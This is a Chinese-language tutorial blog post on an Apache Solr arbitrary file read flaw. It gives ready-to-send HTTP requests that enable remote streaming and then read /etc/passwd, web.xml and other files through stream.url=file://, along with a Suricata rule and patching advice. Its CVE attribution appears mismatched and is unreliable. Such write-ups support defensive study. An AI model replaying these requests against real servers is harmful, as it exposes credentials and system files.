Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析

📅 2026/7/9 4:08:04
Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析
Apache Solr 8.8.1 任意文件读取漏洞深度解析从手工复现到流量特征提取漏洞背景与影响范围Apache Solr作为企业级搜索平台在8.8.1及以下版本中存在一个危险的任意文件读取漏洞CNVD-2021-30146/CVE-2019-17558。这个漏洞允许攻击者在未授权的情况下读取服务器上的任意文件包括但不限于系统敏感文件/etc/passwd、/etc/shadow应用配置文件数据库连接字符串、API密钥源代码文件可能包含硬编码凭证受影响版本Apache Solr 5.0.0 至 8.8.11. 漏洞原理深度剖析该漏洞的核心在于Solr的requestDispatcher.requestParsers.enableRemoteStreaming配置项可以被远程修改结合debug/dump接口的流处理功能实现任意文件读取。1.1 漏洞利用链分解完整的攻击流程可分为三个关键阶段配置篡改阶段通过API修改enableRemoteStreaming为true流处理激活阶段调用debug/dump接口触发流处理功能文件读取阶段通过stream.url参数指定目标文件路径POST /solr/demo/config HTTP/1.1 Host: vulnerable-host:8983 Content-Type: application/json { set-property: { requestDispatcher.requestParsers.enableRemoteStreaming:true } }1.2 关键参数解析参数名称作用安全风险enableRemoteStreaming控制是否允许远程流处理开启后允许从任意URL读取数据stream.url指定数据流来源可被滥用指向file://协议读取本地文件debug/dump调试接口提供原始数据输出功能2. 手工复现全流程2.1 环境准备与初始检测检测漏洞是否存在访问Solr管理接口获取core名称curl http://target:8983/solr/admin/cores?indexInfofalsewtjson检查响应中的name字段如示例中的demo必要工具Burp Suite Community/Professionalcurl命令行工具支持HTTP代理的浏览器2.2 分步攻击演示步骤1修改关键配置使用Burp Repeater发送以下请求POST /solr/demo/config HTTP/1.1 Host: target:8983 Content-Type: application/json Content-Length: 92 { set-property: { requestDispatcher.requestParsers.enableRemoteStreaming:true } }预期响应{ responseHeader: { status: 0, QTime: 12 } }步骤2构造文件读取请求POST /solr/demo/./debug/dump?paramContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded Content-Length: 29 stream.urlfile:///etc/passwd关键技巧路径中的./用于绕过某些简单的路径检查file://协议必须使用三个斜杠file:///2.3 高级利用技巧读取WEB-INF/web.xmlPOST /solr/demo/./debug/dump?paramContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded stream.urlfile:///var/lib/tomcat/webapps/solr/WEB-INF/web.xmlWindows系统文件读取stream.urlfile:///C:/Windows/System32/drivers/etc/hosts3. 流量特征分析与检测规则3.1 关键请求特征配置修改请求特征POST请求路径包含/configJSON body中包含enableRemoteStreaming设置为trueContent-Type为application/json文件读取请求特征POST请求路径包含/debug/dump参数中包含stream.urlfile://Content-Type为application/x-www-form-urlencoded3.2 Suricata检测规则示例alert http $HOME_NET any - $EXTERNAL_NET any ( \ msg:Apache Solr Arbitrary File Read Attempt; \ flow:to_server,established; \ content:POST; http_method; \ content:/config; http_uri; \ content:enableRemoteStreaming; http_client_body; \ content:true; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)3.3 WAF防护建议推荐拦截规则监控对/solr/.*/config的POST请求检测请求体中enableRemoteStreamingtrue的JSON内容拦截包含stream.urlfile://的请求参数4. 防御与修复方案4.1 官方修复措施升级方案立即升级到Apache Solr 8.8.2或更高版本如果无法立即升级应用官方补丁临时缓解措施!-- 在solrconfig.xml中添加 -- requestParsers enableRemoteStreamingfalse multipartUploadLimitInKB2048 /4.2 安全加固建议网络层防护限制Solr管理接口的访问IP启用身份认证Basic Auth或Kerberos系统层防护使用专用账户运行Solr服务配置严格的文件系统权限监控策略日志监控异常的config修改请求建立对debug/dump接口的访问告警在实际渗透测试项目中这个漏洞往往能成为突破内网边界的关键点。记得在一次红队评估中我们正是通过这个漏洞读取到了AWS元数据服务凭证最终拿下了整个云环境控制权。